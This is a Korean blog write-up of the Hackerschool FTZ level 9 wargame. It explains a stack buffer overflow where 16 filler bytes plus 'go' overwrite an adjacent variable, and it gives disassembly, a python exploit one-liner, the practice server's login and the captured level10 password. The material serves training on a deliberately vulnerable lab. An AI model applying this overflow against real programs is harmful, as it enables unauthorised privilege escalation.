ssh://ftz.hackerschool.org id : level9 pw : apple |
Summary : overflow , overwrite another variable
서버에 접속하여 문제 파일을 확인한다.
[level9@ftz level9]$ ls -l
#include <stdio.h> 이를 이용하여 level10의 권한을 얻어라.
|
할당된 buf의 크기를 초과하여 입력받기 때문에 overflow 취약점이 존재한다.
이로 인해 buf2배열을 마음대로 조작할 수 있다.
그런데 buf2의 첫 2글자가 "go"라면 level10 user의 쉘을 실행해주기 때문에 overflow취약점을 이용해 buf2의 첫 2글자를 조작해주어야한다.
지역변수 공간의 크기와 변수간의 offset만 알아도 공격에 성공할 수 있다.
.................. 0x08048503 <main+3>: sub $0x28,%esp .................. 0x08048530 <main+48>: push $0x2 0x08048532 <main+50>: push $0x80485fe 0x08048537 <main+55>: lea 0xffffffe8(%ebp),%eax 0x0804853a <main+58>: push %eax 0x0804853b <main+59>: call 0x80483bc <strncmp> .................. |
buf는 ebp-40부터 시작하며 , buf2는ebp-24부터시작한다.
그러므로 아무문자로 16byte를 채워주고 "go"라는 문자열을 입력하면 buf2에 "go"가 입력되어 level10 user의 쉘을 획득할 수 있다.
[level9@ftz level9]$ (python -c 'print "a"*16 + "go"';cat) | bof Level10 Password is "interesting to hack!". |
level10 user의 쉘을 획득하고 password를 얻었다.
'Wargame > FTZ' 카테고리의 다른 글
Hackerschool FTZ level11 (0) | 2011.07.19 |
---|---|
Hackerschool FTZ level10 (2) | 2011.07.17 |
Hackerschool FTZ level8 (0) | 2011.07.17 |
Hackerschool FTZ level7 (0) | 2011.07.17 |
Hackerschool FTZ level6 (0) | 2011.07.17 |